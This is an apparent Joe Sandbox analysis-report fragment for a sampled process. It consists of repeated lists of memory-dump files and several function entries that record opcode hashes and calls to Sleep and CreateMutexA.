Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b40663691d02b2f446c35b304ea8808d1027cef3581df81ebf95bdfed52cbc8d
Instruction ID: ca17e41a442d3bfc9d1591f43c476ba941829c469b9d4b2656b8c2ff61a1d7e0
Opcode Fuzzy Hash: b40663691d02b2f446c35b304ea8808d1027cef3581df81ebf95bdfed52cbc8d
Instruction Fuzzy Hash: 643128316052048BEB0CEBBCDD89B6DBB62FBC5324F244218E494E73D1D77599818792

Function 0083A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: daf248506bdd30679b370734da8f28b6c4ec71691f7ebab4a2c7989d2d0c7747
Instruction ID: 49150879004e9900304f0665e322b522161a7dfc9667660add32ea96f5790f6c
Opcode Fuzzy Hash: daf248506bdd30679b370734da8f28b6c4ec71691f7ebab4a2c7989d2d0c7747
Instruction Fuzzy Hash: 8D3126316052048BEB0CEB7CDDC9B6DBB72FBC2324F248618E494E73D1D77599818692

Function 00839ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7b3efbe04a302469d5cc522613b91ce9dd426de8d2231e6a5a9057db39f0c5e7
Instruction ID: 2858bc30cfe130d385b11de363a43d8f3c8b69d1ad83d077547ea267426ada3b
Opcode Fuzzy Hash: 7b3efbe04a302469d5cc522613b91ce9dd426de8d2231e6a5a9057db39f0c5e7
Instruction Fuzzy Hash: A0217931608204DBEB1CAB6CEDC5B2CF721FBC1321F244219E494D73D1C7B59A818692

Function 0083A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a27837cd5c0f0e09ab0e70ac25fba01d1fa6fde28aa52dbd68c71713ec34398a
Instruction ID: 4ea47bedb70bea510e7e3796820d6c99959dbdac3003fa7ed88ad77c6aff54f1
Opcode Fuzzy Hash: a27837cd5c0f0e09ab0e70ac25fba01d1fa6fde28aa52dbd68c71713ec34398a
Instruction Fuzzy Hash: FA213A71249204DAFB2C676C9D8AB3DB622FFC1304F240826E5C4E63D1CA7A898182D3

Function 0083A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
